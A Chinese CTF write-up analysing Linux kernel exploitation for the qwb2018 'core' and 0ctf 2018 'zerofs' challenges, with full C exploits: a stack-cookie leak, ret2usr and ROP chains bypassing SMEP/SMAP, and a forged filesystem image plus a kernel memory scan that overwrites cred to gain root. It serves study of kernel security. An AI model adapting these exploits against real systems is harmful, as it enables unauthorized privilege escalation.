作者:lawhackzz@墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/VsGVvi_Vog1aKi0Cj9haGg

本篇文章主要針對內核棧溢出以及堆越界訪問漏洞進行分析以及利用。

qwb2018 core

題目鏈接:https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg 密碼:ldiy

解壓官方給的tar包,可以看到如下4個文件:

圖片

其中start.sh是qemu的啟動腳本,這里將-m參數修改為512M,否則本地無法正常啟動,同時為了便于調試,需要解包core.cpio并修改其中的init文件,將poweroff的指令刪除,讓內核不在定時關閉。init文件內容如下:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

基本可以確認存在漏洞的模塊為core.ko,而開啟的kptr_restrictdmesg_restrict則緩解了內核信息的泄露,卸載了/proc/sys這兩個目錄,進一步阻止用戶查看內核信息。查看start.sh可知內核開啟了kaslr。注意到cat /proc/kallsyms > /tmp/kallsyms這條命令,相當于可以從/tmp/kallsyms讀取部分內核符號信息,這樣便于后面編寫提權的shellcode。

解包core.cpio后,查看core.ko開啟的防護如下:

gdb-peda$ checksec
CANARY   : ENABLED
FORTIFY   : disabled
NX       : ENABLED
PIE       : disabled
RELRO     : disabled

開啟了NX以及stack canary,利用ghidra打開core.ko,查看它的函數如下:

圖片

初始化函數如下:

undefined8 init_module(void)
{
  core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops);
  printk(&DAT_00100302);
  return 0;
}

其中core_fops是內核的file_operations結構,跟進去查看發現其實現了自定義的writeioctlrelease函數,其中ioctl函數內部調用了core_readcore_copy_func等功能,如下:

undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3)
{
  if (param_2 == 0x6677889b) {
    core_read(param_3);
  }
  else {
    if (param_2 == 0x6677889c) {
      printk(&DAT_001002f1,param_3);
      off = param_3;
    }
    else {
      if (param_2 == 0x6677889a) {
        printk(&DAT_001002d7);
        core_copy_func(param_3);
      }
    }
  }
  return 0;
}

這里由于之前開啟的內核策略導致printfk輸出的內容無法通過dmesg獲取,查看core_read函數如下:

void core_read(undefined8 param_1)

{
  long lVar1;
  undefined4 *puVar2;
  long in_GS_OFFSET;
  byte bVar3;
  undefined4 auStack80 [16];
  long local_10;

  bVar3 = 0;
  local_10 = *(long *)(in_GS_OFFSET + 0x28);
  printk(&DAT_0010027f);
  printk(&DAT_00100299,off,param_1);
  lVar1 = 0x10;
  puVar2 = auStack80;
  while (lVar1 != 0) {
    lVar1 = lVar1 + -1;
    *puVar2 = 0;
    puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
  }
  strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n");
  lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40);//全局變量off可控
  if (lVar1 != 0) {
    swapgs();
    return;
  }
  if (local_10 != *(long *)(in_GS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

由于可以通過ioctl控制off這個全局變量,因此可以控制返回給用戶的內容為內核棧上特定偏移的數據,這里可以用來泄露棧cookie值,通過如下代碼可以打印泄露的cookie以及函數返回地址:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char* argv[])
{
    int fd1 = open("/proc/core",O_RDWR);
    unsigned long long buf[0x1000];
    memset(buf,'a',0x200);
    int off=0;
    if(argc>1)
    {
        off=strtol(argv[1],NULL,10);
    }
    printf("fd is %d\n",fd1);
    ioctl(fd1,0x6677889C,off);
    ioctl(fd1,0x6677889B,buf);
    for(int i =0;i<4;i++)
    {
        for(int m=0;m<4;m++)
        {
            printf("%016llx ",buf[i*4+m]);
        }
        printf("\n");
    }
    return 0;

}

結果如下:

/ $ ./poc 64
fd is 3
5d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40 
ffffffffa19dd6d1 000000000000889b ffff96afdf80fb00 ffffffffa198ecfa 
6161616161616161 6161616161616161 6161616161616161 6161616161616161

此時的5d2043a60145af00即為當前內核棧上的cookie值,可用來后續的內核rop。查看core_write函數:

undefined  [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3)
{
  ulong uVar1;
  long lVar2;

  printk(&DAT_00100239);
  if (param_3 < 0x801) {
    lVar2 = _copy_from_user(name,param_2,param_3);
    if (lVar2 == 0) {
      uVar1 = param_3 & 0xffffffff;
      goto LAB_00100084;
    }
  }
  printk(&DAT_00100254);
  uVar1 = 0xfffffff2;
LAB_00100084:
  return CONCAT88(param_2,uVar1);
}

這里可以控制name全局變量的內容。查看core_copy_func函數,如下:

undefined8 core_copy_func(ulong param_1)
{
  undefined8 uVar1;
  ulong uVar2;
  undefined1 *puVar3;
  undefined *puVar4;
  long in_GS_OFFSET;
  byte bVar5;
  undefined auStack80 [64];
  long local_10;

  bVar5 = 0;
  local_10 = *(long *)(in_GS_OFFSET + 0x28);
  printk(&DAT_00100239);
  if ((long)param_1 < 0x40) {
    uVar2 = param_1 & 0xffff;
    uVar1 = 0;
    puVar3 = name;
    puVar4 = auStack80;
    while (uVar2 != 0) {
      uVar2 = uVar2 - 1;
      *puVar4 = *puVar3;
      puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
  }
  else {
    printk(&DAT_001002c5);
    uVar1 = 0xffffffff;
  }
  if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) {
    return uVar1;
  }                  /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

雖然有參數檢測,但是存在有符號對比問題,當傳入的參數為負數時,即可繞過對長度的檢測,將name全局變量的內容拷貝到棧上,造成棧溢出,接下來就需要考慮如何進行rop了。

方法1

首先我們需要將rip覆蓋為我們的執行shellcode函數的地址,這樣當函數core_copy_func返回時便會執行我們的shellcode,同時為了不破壞棧上的其它數據,我們選擇大小為0x58的shellcode,這樣剛好僅僅覆蓋了返回地址。在我們shellcode內部則會執行commit_creds(prepare_kernel_cred(0))這兩個函數,函數成功執行后此時已經程序已經擁有了root權限,為了讓內核繼續完好的執行,我們選擇在這兩個函數執行完畢后修復棧幀,同時跳轉到本來應該返回的內核函數位置,即core.ko+0x191,這個返回地址通過前面的信息泄露可以拿到。完整的exp如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 readkerneladdr(char* command)
{
    FILE *fp; 
    u64 kaddr;
  char buffer[80];
    char* retbuf;
  fp=popen(command, "r"); 
  fgets(buffer,sizeof(buffer),fp); 
    retbuf = strstr(buffer," ");
    int addrlen = retbuf-buffer;
    memset(buffer+addrlen,0,10);
  kaddr = strtoul(buffer,NULL,16);
    return kaddr;
}
void poc1_shellcode()
{   
    int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred;
    void*(*userCommit_cred)(int*) = commit_creds;
    (*userCommit_cred)((*userPrepare_kernel_cred)(0));
    asm("mov %rbp,%rsp");  //修復棧幀
    asm("pop %rbp");
    asm("mov %0,%%rax;  \  //跳轉回內核函數地址
        jmp %%rax;"
        :
        :"r"(ret_addr)
        :"%rax");
}

int main(int argc,char* argv[])
{
    int fd1 = open("/proc/core",O_RDWR);
    prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
    commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
    u64 buf[0x1000];
    memset(buf,'a',0x200);
    int off=64;
    if(argc>1)
    {
        off=strtol(argv[1],NULL,10);
    }
    printf("fd is %d\n",fd1);
    ioctl(fd1,0x6677889C,off);
    ioctl(fd1,0x6677889B,buf);
    u64 canary = buf[0];
    ret_addr = buf[2];
    u64 poc[0x100]={
        0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,&poc1_shellcode
    };
    write(fd1,poc,0x100);
    ioctl(fd1,0x6677889A,0xf000000000000058);
    system("/bin/sh");
    return 0;
}

成功執行后如下:

圖片

這樣做的好處是不需要特地去找gadgets,但是這樣做的前提是內核沒有開啟smepsmap等防護措施,在開啟這些防護措施后,內核層是無法直接執行用戶層代碼的。如果開啟了smepsmap則會產生如下錯誤:

圖片

因此還有更加通用的做法,就是通過構造一條完整的rop鏈來實現提權并返回到用戶層。區別于當前的操作就是在整個執行過程中是不會跳轉回用戶層的代碼的,所有提權函數的調用均通過棧上的數據控制,在執行提權函數后通過iret指令返回用戶層空間。

方法2

為了繞過smepsmap等防護措施,需要構造完整的rop鏈,需要查找內核映像中可用的gadgets,這里使用ropper來dump整個內核可用的gadgets。需要注意的是鏈接中給出的vmlinux和實際的bzImage的地址并不匹配,因此需要通過extract-vmlinunx腳本來將bzImage中的內核可執行文件dump出來,用法如下:

extract-vmlinux ./bzImage > vmlinux

接下來通過ropper提取vmlinux中可用的gadgets,用法如下:

ropper --file ./vmlinx --nocolor > gadgets

尋找pop rdi,retmov rdi, raxiretswapgs等指令,如下:

.text:FFFFFFFF81126515                 pop     rdi
.text:FFFFFFFF81126516                 retn

.text:FFFFFFFF8186EB33                 pop     rcx
.text:FFFFFFFF8186EB34                 retn

.text:FFFFFFFF81623D0B                 mov     rdi, rax
.text:FFFFFFFF81623D0E                 call    rcx

.text:FFFFFFFF810A0F49                 pop     rdx
.text:FFFFFFFF810A0F4A                 retn

.text:FFFFFFFF81A012DA                 swapgs
.text:FFFFFFFF81A012DD                 popfq
.text:FFFFFFFF81A012DE                 retn

.text:FFFFFFFF81050AC2                 iretq

需要構造的rop鏈為

執行prepare_kernel_cred(0)
將prepare_kernel_cred的執行結果賦值給rdi
執行commit_creds
執行swapgs
執行iret

完整exp如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 user_cs,user_rflags,user_ss,user_sp;
u64 readkerneladdr(char* command)
{
    FILE *fp; 
    u64 kaddr;
  char buffer[80];
    char* retbuf;
  fp=popen(command, "r"); 
  fgets(buffer,sizeof(buffer),fp); 
    retbuf = strstr(buffer," ");
    int addrlen = retbuf-buffer;
    memset(buffer+addrlen,0,10);
  kaddr = strtoul(buffer,NULL,16);
    return kaddr;
}
void execshell()
{
    system("/bin/sh");
}
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
int main(int argc,char* argv[])
{

    int fd1 = open("/proc/core",O_RDWR);
    prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
    commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
    u64 buf[0x1000];
    memset(buf,'a',0x200);
    int off=64;
    if(argc>1)
    {
        off=strtol(argv[1],NULL,10);
    }
    printf("fd is %d\n",fd1);
    ioctl(fd1,0x6677889C,off);
    ioctl(fd1,0x6677889B,buf);
    u64 canary = buf[0];
    ret_addr = buf[2];
    u64 kernelbase = prepare_kernel_cred-0x9cce0;
    u64 kerneloff =0xFFFFFFFF81000000- kernelbase;
    save_status();
    u64 Rop[0x100]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,\
        0xFFFFFFFF81126515-kerneloff,\    //pop rdi,ret
        0,\
        prepare_kernel_cred,\
        0xFFFFFFFF8186EB33-kerneloff,\    //pop rcx,ret
        0xFFFFFFFF810A0F49-kerneloff,\    //pop rdx,ret
        0xFFFFFFFF81623D0B-kerneloff,\    //mov rdi,rax,call rcx
        commit_creds,\
        0xffffffff81a012da-kerneloff,\    //swapgs,popfq,ret
        0,\
        0xFFFFFFFF81050AC2-kerneloff,\    //iret
        &execshell,\            //ret ip
        user_cs,\
        user_rflags,\
        user_sp,\
        user_ss
    };

    write(fd1,Rop,0x100);
    ioctl(fd1,0x6677889a,0xf0000000000000e0);
    return 0;
}

修改start.sh如下:

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,+smep,+smap\

執行poc后效果如下:

圖片

2018 0ctf-zerofs

題目連接:https://drive.google.com/file/d/1GlCwZeJ2JW8zqVONxy7rphg9Mk6kF6F6/view?usp=sharing 解包得到如下內容:

admins@admins-virtual-machine:~/kernel/exercise/zerofs/public$ ls -alh
total 11M
drwxrwxr-x 2 admins admins 4.0K 12月 22 17:21 .
drwxrwxr-x 5 admins admins 4.0K 12月 22 17:22 ..
-rw-r--r-- 1 admins admins 6.9M 3月  29  2018 bzImage
-rw-rw-r-- 1 admins admins 3.1M 3月  30  2018 rootfs.cpio
-rwxrwxr-x 1 admins admins  241 12月 22 17:21 run.sh
-rw-r--r-- 1 admins admins 320K 3月  29  2018 zerofs.ko

run.sh腳本如下:

qemu-system-x86_64 -enable-kvm -s -cpu kvm64,+smep,+smap -m 512M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/null

開啟了smep、smap以及kaslr,解包rootfs.cpio,init文件如下:

#!/bin/sh

mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64

mount -t proc proc /proc
mount -t sysfs sysfs /sys

cat /root/signature

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

insmod /zerofs.ko

setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys

poweroff -f

開啟kptr_restrict以及dmesg_restrict,無法查看內核函數地址,

存在問題的內核模塊為zerofs.ko,開啟安全策略如下:

圖片

這是個內核文件系統模塊,題目提示通過mount掛載文件,查看其主要邏輯,

undefined8 main(void)
{
  undefined8 local_10;
  setresuid(0,0,0);
  local_4c = fork();
  if (local_4c == 0) {
    local_48 = "mount";
    local_40 = "-o";
    local_38 = "loop";
    local_30 = "-t";
    local_28 = "zerofs";
    local_20 = "/tmp/zerofs.img";
    local_18 = "/mnt";
    local_10 = 0;
    execvp("/bin/mount",&local_48);
  }
  waitpid(local_4c,&local_50,0);
  local_4c = fork();
  if (local_4c == 0) {
    local_48 = "chown";
    local_40 = "-R";
    local_38 = "1000.1000";
    local_30 = "/mnt";
    local_28 = (char *)0x0;
    execvp("/bin/chown",&local_48);
  }
  waitpid(local_4c,&local_50,0);
  local_4c = fork();
  if (local_4c == 0) {
    local_48 = "chmod";
    local_40 = "-R";
    local_38 = "a+rwx";
    local_30 = "/mnt";
    local_28 = (char *)0x0;
    execvp("/bin/chmod",&local_48);
  }
  waitpid(local_4c,&local_50,0);
  return 0;
}

先是提升權限,然后調用了/bin/mount 并配有參數-o loop -t zerofs /tmp/zerofs.img /mnt,可以看出主要通過mount將tmp目錄下的文件zerofs.img掛載到/mnt目錄,后續對掛載文件的讀寫會觸發zerofs.ko中的回調函數。

linux文件系統基本概念

為了對文件系統進行統一管理,linux將文件系統分為兩層虛擬文件系統、具體文件系統:

圖片

具體文件系統依照vfs定義好的數據結構將讀寫文件相關的操作進行導出,由vfs進行統一管理,方便由用戶層通過統一的接口即openreadwrite等函數對文件進行操作,對用戶來說,具體文件系統是透明的,能感知到的是虛擬文件系統。傳統文件系統在磁盤中的布局一般如下:

圖片

一些基本概念如下:

  1. 超級塊(磁盤中的超級塊)用來存儲文件系統的詳細信息,比如塊個數、塊大小、空閑塊等等
  2. inode(索引節點區)用來存儲索引節點 ,每個inode都有一個號碼,操作系統用inode號碼來識別不同的文件
  3. dentry (目錄項) 保存了文件名和inode的映射,便于加速查找文件
  4. 數據塊區 用來存儲文件或目錄數據

接下來看下zerofs內核模塊的實現,查看zerofs.ko模塊,初始化代碼如下:

int zerofs_init(void)
{
  int iVar1;

  __fentry__();
  zerofs_inode_cachep = (kmem_cache *)kmem_cache_create("zerofs_inode_cache",0x20,0,0x120000,0);
  if (zerofs_inode_cachep != (kmem_cache *)0x0) {
    iVar1 = register_filesystem(&zerofs_type); //注冊文件系統
    return iVar1;
  }
  return -0xc;
}

這里向通過register_filesystem函數像內核注冊了一個文件系統,當然僅僅注冊是無法訪問該文件系統的,需要通過mount將對應的文件系統安裝到設備上才能進行訪問。

查看register_filesystem源碼可知,該函數主要功能是將注冊的文件系統添加到全局變量file_systems鏈表中。其中zerofs_typefile_system_type類型的結構體,如下:

struct file_system_type {
  const char *name;
  int fs_flags;
  struct dentry *(*mount) (struct file_system_type *, int,
           const char *, void *);
  void (*kill_sb) (struct super_block *);
  struct module *owner;
  struct file_system_type * next;
  ...}

其中第三個參數就是它掛載時會調用的回調函數,在用戶層掛載特定類型的文件系統時最終都會轉發到對應內核模塊的mount函數,查看mount函數如下:

dentry * zerofs_mount(file_system_type *fs_type,int flags,char *dev_name,void *data)
{
  dentry *extraout_RAX;
  undefined extraout_DL;
  undefined uVar1;

  uVar1 = SUB81(fs_type,0);
  __fentry__(uVar1,flags,(char)dev_name);
  mount_bdev(uVar1,(char)flags,extraout_DL,zerofs_fill_super);
  return extraout_RAX;
}

調用了mount_bdev函數,查看源碼可知,該函數主要通過傳入的dev_name獲取對應的塊設備,接著從塊設備中獲取對應的超級塊(super_block),如果根節點為空,說明沒有初始化,則調用第五個參數作為函數來初始化超級塊。

if (s->s_root) {
    if ((flags ^ s->s_flags) & SB_RDONLY) {
      deactivate_locked_super(s);
      error = -EBUSY;
      goto error_bdev;
    }
    up_write(&s->s_umount);
    blkdev_put(bdev, mode);
    down_write(&s->s_umount);
  } else {
    s->s_mode = mode;
    snprintf(s->s_id, sizeof(s->s_id), "%pg", bdev);
    sb_set_blocksize(s, block_size(bdev));
    error = fill_super(s, data, flags & SB_SILENT ? 1 : 0); //調用對應內核函數進行超級塊的填充
    if (error) {
      deactivate_locked_super(s);
      goto error;
    }

    s->s_flags |= SB_ACTIVE;
    bdev->bd_super = s;
  }

zerofs文件系統中的fs_flagFS_REQUIRES_DEV,類似于ext2ext4等文件系統,掛載時需要物理設備作為輸入,而默認的mount執行的參數中有-o loop,即將輸入文件作為硬盤分區掛接到系統上,類似于光盤文件的掛載。一般來說,我們可以通過命令dd bs=4096 count=100 if=/dev/zero of=image創建一個空白文件,然后通過mkfs.ext2 image將ext2的文件系統格式寫入到image中,然后通過mount -t ext2 ./image /mnt將它掛載到/mnt目錄下,這里我們只能自己手動創建對應的zerofs文件系統。這里在逆向分析程序時存在如下問題:

圖片

后面嘗試在自己編譯的linux上安裝模塊時出現如下問題:

圖片

在經過一番搜索后發現內核以及模塊可能使用了rand_struct這個gcc插件對特定的結構體進行了變量重排,也就是說改變了部分變量在結構體內部的內存偏移,此時在逆向分析時ghidra所識別的結構體偏移是無效的,同時也無法在有符號的內核上進行安裝調試。

在后續分析過程中,看到有資料說該模塊可能由simplefs改寫,因此可以查看源碼對比二進制實現來更方便理解模塊的各項功能。對比源碼中的fill_super函數進行注釋,如下:

int zerofs_fill_super(super_block *sb,void *data,int silent)
{
  astruct *superblock;
  long lVar1;
  undefined8 uVar2;
  zerofs_inode *pzVar3;
  list_head *plVar4;
  undefined4 in_register_00000014;
  undefined8 uVar5;
  uint uVar6;
  undefined auVar7 [16];
  xattr_handler **userdata;

  __fentry__(sb,data,CONCAT44(in_register_00000014,silent));
                    /* 獲取第一塊數據作為超級塊結構 */
  superblock = (astruct *)
               __bread_gfp((sb->s_writers).rw_sem[2].writer.task,0,*(undefined4 *)&sb->field_0x578,8
                          );
  if (superblock != (astruct *)0x0) {
    userdata = superblock->data;
      /* 判斷超級塊的前24字節是否符合zerofs定義 */
    if (((*userdata == (xattr_handler *)0x4f52455a) &&
        (userdata[1] == (xattr_handler *)0x1000)) &&
       (userdata[2] < (xattr_handler *)0x41)) {
                    /* sb->s_magic */
      (sb->s_writers).rw_sem[2].rw_sem.wait_list.prev = (list_head *)0x4f52455a;
                    /* sb->s_fsinfo */
      sb->s_xattr = userdata;
                    /* sb->s_maxbytes */
      (sb->rcu).next = (callback_head *)0x1000;
                    /* sb->s_op */
      sb->s_cop = (fscrypt_operations *)&zerofs_sops;
      lVar1 = new_inode(sb);
      *(undefined8 *)(lVar1 + 400) = 1;
      inode_init_owner(lVar1,0,0x4000);
      *(super_block **)(lVar1 + 600) = sb;
      *(inode_operations **)(lVar1 + 0x118) = &zerofs_inode_ops;
      *(file_operations **)(lVar1 + 0x30) = &zerofs_dir_ops;
      auVar7 = current_time(lVar1);
      uVar5 = SUB168(auVar7 >> 0x40,0);
      uVar2 = SUB168(auVar7,0);
      *(undefined8 *)(lVar1 + 0x148) = uVar5;
      *(undefined8 *)(lVar1 + 0x18) = uVar5;
      *(undefined8 *)(lVar1 + 0xa8) = uVar5;
      *(undefined8 *)(lVar1 + 0x140) = uVar2;
      *(undefined8 *)(lVar1 + 0x10) = uVar2;
      *(undefined8 *)(lVar1 + 0xa0) = uVar2;
      pzVar3 = zerofs_get_inode(sb,1);
      *(zerofs_inode **)(lVar1 + 0x168) = pzVar3;
      plVar4 = (list_head *)d_make_root(lVar1);
      (sb->s_writers).rw_sem[2].rw_sem.wait_list.next = plVar4;
      uVar6 = -(uint)(plVar4 == (list_head *)0x0) & 0xfffffff4;
    }
    else {
      uVar6 = 0xffffffea;
    }
    __brelse(superblock);
    return (int)uVar6;
  }
  do {
    invalidInstructionException();
  } while( true );
}

結合simplefs可以判斷出zerofs的基本塊大小為0x1000,第1塊內容為super_block,第二塊內容為inode索引塊,后面的為數據塊。

inode結構如下:

struct inode{
  int inode_number;
  int block_number;
  int mode;
  union {
    uint64_t file_size;
    uint64_t dir_children_count;
  };
}

參考mkfs-simplefs可以構造出一個基本的符合掛載條件的zerofs文件系統。在構造過程中發現了zerofs_lookup的一個空指針解引用漏洞,代碼如下:

圖片

經過研究發現無法利用,查看zerofs關于文件讀寫的函數,發現在文件讀寫過程中均存在漏洞,讀文件如下:

圖片

可以看出,只要控制文件大小為-1,并在讀取文件時設置好偏移,就可以實現內核地址越界讀。文件寫操作如下:

圖片

沒有對當前文件的大小以及要寫的偏移做判斷,因此通過設置好文件偏移可以直接造成內核地址越界寫。

現在我們擁有了內核地址越界讀寫的能力,接下來就是尋找內核提權的方式,上一篇文章中也提過除了通過調用commit_creds(prepare_kernel_cred(0))來實現提權,還可以通過定位進程中的cred結構并將對應的數據uid-fsgid全部置0的方式來提升程序權限。cred部分結構如下:

struct cred {
  atomic_t  usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t  subscribers;  /* number of processes subscribed */
  void    *put_addr;
  unsigned  magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD  0x44656144
#endif
  kuid_t    uid;    /* real UID of the task */
  kgid_t    gid;    /* real GID of the task */
  kuid_t    suid;    /* saved UID of the task */
  kgid_t    sgid;    /* saved GID of the task */
  kuid_t    euid;    /* effective UID of the task */
  kgid_t    egid;    /* effective GID of the task */
  kuid_t    fsuid;    /* UID for VFS ops */
  kgid_t    fsgid;    /* GID for VFS ops */
  unsigned  securebits;  /* SUID-less security managemen

由于當前有了內核越界讀的能力,可以通過遍歷內核地址數據來查找符合當前進程的cred結構內容,因為是普通用戶權限,所以cred中的uid、gid、suid等數值都是1000,因此可以通過判斷內存中連續3個32位整型的數值是否都是1000來定位cred結構。但是由于該內核編譯時用了randstruct插件,破壞了部分結構體內部的變量排序,因此我們這邊通過調試的方式定位cred結構中uid等變量的結構體偏移。通過中斷函數prepare_creds ,觀測到cred結構內容如下:

gef?  x /80wx $rsi
0xffff95713f8a9300:  0xffffffff  0x0000003f  0x000003e8  0x00000003
0xffff95713f8a9310:  0x00000000  0x00000000  0x3faa1080  0xffff9571
0xffff95713f8a9320:  0x000003e8  0x000003e8  0x00000000  0x00000000
0xffff95713f8a9330:  0x00000000  0x00000000  0x000003e8  0x00000000
0xffff95713f8a9340:  0x00000000  0x00000000  0x00000000  0x00000000
0xffff95713f8a9350:  0x3f813630  0xffff9571  0x00000000  0x00000000
0xffff95713f8a9360:  0x00000000  0x00000000  0x000003e8  0x000003e8
0xffff95713f8a9370:  0x00000000  0x00000000  0x00000000  0x00000000
0xffff95713f8a9380:  0xb2c50660  0xffffffff  0x00000000  0x00000000
0xffff95713f8a9390:  0x000003e8  0x00000000  0x00000000  0x00000000
0xffff95713f8a93a0:  0x00000000  0x000003e8  0x00000000  0x00000000
0xffff95713f8a93b0:  0x00000025  0x80000000  0x00000000  0x00000000

可以看到凡是為0x3e8即1000的基本都是對應的id值,同樣可以通過函數_sys_getgid等來判斷cred中的變量偏移,如下:

.text:FFFFFFFF81094970 sub_FFFFFFFF81094970 proc near          ; CODE XREF: sub_FFFFFFFF81003960+54↑p
.text:FFFFFFFF81094970                                         ; sub_FFFFFFFF81003A25+4B↑p ...
.text:FFFFFFFF81094970                 call   nullsub_1
.text:FFFFFFFF81094975                 push    rbp
.text:FFFFFFFF81094976                 mov     rax, gs:off_D300
.text:FFFFFFFF8109497F                 mov     rax, [rax+0B38h]
.text:FFFFFFFF81094986                 mov     rbp, rsp
.text:FFFFFFFF81094989                 mov     esi, [rax+6Ch]//gid
.text:FFFFFFFF8109498C                 mov     rdi, [rax+80h]
.text:FFFFFFFF81094993                 call   sub_FFFFFFFF8112A300
.text:FFFFFFFF81094998                 pop     rbp
.text:FFFFFFFF81094999                 mov     eax, eax
.text:FFFFFFFF8109499B                 retn
.text:FFFFFFFF8109499B sub_FFFFFFFF81094970 endp

其中cred+0x6c處的值為gid,那么在定位cred結構體時就可以通過找到的偏移來對比。當找到第一個id為0x3e8時,剩下的id值偏移如下:6、7、12、24、25、34、39,將對應偏移的內容置0即可完成權限提升。由于我們先通過mount指令掛載文件系統,而后創建poc進程,因此poc進程的cred結構大概率來說是位于我們控制的越界讀寫的內核地址后面,所以直接從控制的內核地址向后不斷搜索即可。

創建zerofs文件系統的腳本如下:

from pwn import *
zerofs_block0 = p64(0x4F52455A)+p64(0x1000)+p64(0x3)+p64(0)
zerofs_block0 = zerofs_block0.ljust(0x1000,b"\x00")
inode_block1 = p64(0x1)+p64(0x2)+p64(0x4000)+p64(1)
inode_block1 +=p64(0x2)+p64(0x3)+p64(0x8000)+p64(0xffffffffffffffff)
inode_block1 = inode_block1.ljust(0x1000,b"\x00")
zerofs_block2 = b"test".ljust(256,b"\x00")
zerofs_block2 += p64(2)
zerofs_block2 = zerofs_block2.ljust(0x1000,b"\x00")
zerofs_block3 = b"a"*0x1000
block = zerofs_block0+inode_block1+zerofs_block2+zerofs_block3
fimage = open("./tmp/zerofs.img","wb")
fimage.write(block)
fimage.close()

exp如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/mman.h>
int current_uid = 0x3e8;
int search_modify(int* buf)
{
    for(int i=0;i<0x10000/4-12;i++)
    {
        if(buf[i]==current_uid && buf[i+6]==current_uid&& buf[i+7]==current_uid &&buf[i+12]==current_uid && buf[i+24]==current_uid && buf[i+25]==current_uid&& buf[i+34]==current_uid && buf[i+39]==current_uid)
        {
            printf("find cred\n);
            buf[i]=0;
            buf[i+6]=0;
            buf[i+7]=0;
            buf[i+12]=0;
            buf[i+24]=0;
            buf[i+25]=0;
            buf[i+34]=0;
            buf[i+39]=0;
            return 1;
        }
    }
    return 0;
}
int main(int argc,char*argv[])
{
    int fd1 = open("/mnt/test",O_RDWR);
    if(fd1==-1)
    {
        printf("fd is -1\n");
        exit(0);
    }
    printf("fd is %d\n",fd1);
    int buflen=0x10000;
    int buf[0x10000/4]={0};
    int idx=0;
    int beginidx;
    printf("begin search\n");
    if(argc>=2)
        idx=strtol(argv[1],NULL,10);
    beginidx=idx;
    for (idx;idx<=beginidx+0x10000;idx++)
    {
        lseek(fd1,idx*buflen,SEEK_SET);
        read(fd1,buf,buflen);
        if(search_modify(buf))
        {
            printf("final idx is %d\n",idx);
            lseek(fd1,idx*buflen,SEEK_SET);
            write(fd1,buf,buflen);    
            if(getuid()!=0)
            {
                printf("current uid is %d\n",getuid());
                exit(0);
            }
            else{
                system("/bin/sh");
                return 0;
            }            
        }
    }
    return 0;
}

提權結果如下:

圖片

實測過程中發現偶爾會將其它進程的cred修改為root權限(比如最初的shell進程sh,此時同樣可以讀取root權限的flag),因此如果發現當前進程沒有被修改為root權限,則可以根據最終的idx變量進行調整,將其作為程序輸入參數重新搜索進程cred結構,多次測試即可成功,如下:

圖片

這里在嘗試通過heap spray的方式進行漏洞利用時,沒有找到合適的內核結構進行堆噴射,目的的是泄露特定函數地址并對特定結構體進行定位,在后續中會對linux kernel spray利用方式進行研究。

reference:

  1. https://www.eet-china.com/mp/a38145.html
  2. https://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1965/